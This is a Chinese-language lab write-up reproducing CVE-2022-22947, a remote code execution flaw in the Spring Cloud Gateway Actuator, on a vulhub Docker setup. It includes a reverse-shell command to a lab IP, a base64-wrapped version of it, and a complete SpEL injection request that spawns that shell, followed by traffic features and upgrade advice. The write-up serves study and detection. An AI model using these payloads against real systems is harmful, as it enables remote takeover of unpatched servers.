目录
0x01 声明:
软件开发定制定制仅供学习参考使用,软件开发定制定制请勿用作违法用途,否则后果自负。
0x02 简介:
Spring Cloud Gateway是基于Spring Framework 和 Spring Boot构建的网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。建议使用Spring Cloud Gateway的用户及时安排自检并做好安全加固。
0x03 漏洞概述:
近日,披露Spring Cloud Gateway存在一处远程代码执行漏洞(CVE-2022-22947)。当Spring Cloud Gateway启用、暴露 和不安全Gateway Actuator 端点时,攻击者可以通过向使用 Spring Cloud Gateway 的应用程序发送特制的恶意请求,触发远程任意代码执行,利用难度低,目前POC已公开,风险较高。
0x04 影响版本:
3.1.x系列:Spring Cloud Gateway < 3.1.1
3.0.x系列:Spring Cloud Gateway < 3.0.7
其他旧的、不受支持的Spring Cloud Gateway版本
0x05 环境搭建:
Docker环境:
参考这篇文章()
漏洞环境:
1、下载vulhub
()
()
2、进入vulhub/spring/CVE-2022-22947环境
3、启动docker环境
4、访问系统
0x06 漏洞复现:
POC:
(自己写了很多边都回有问题,这里放大佬写好的吧。)
()
利用POC:
分析POC:
注意上方这里要做反弹shell的时候需要注意格式。
bash -c {echo,xxx}|{base64,-d}|{bash,-i}
||(Base64)
bash -i >& /dev/tcp/192.168.16.129/1234 0>&1
主要特征为:url + /actuator/gateway/routes/
0x07 流量分析:
POC流量:
请求url:192.168.18.130:8080/actuator/gateway/routes/hacktest
传递参数:
- {
- "id": "hacktest",
- "filters": [{
- "name": "AddResponseHeader",
- "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4LjEyMC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}\")).getInputStream()))}"}
- }],
- "uri": "http://example.com",
- "order": 0
- }
响应码:201
反弹shell流量:
0x08 修复建议:
1、目前官方已发布修复版本修复了该漏洞,请受影响的用户升级到安全版本。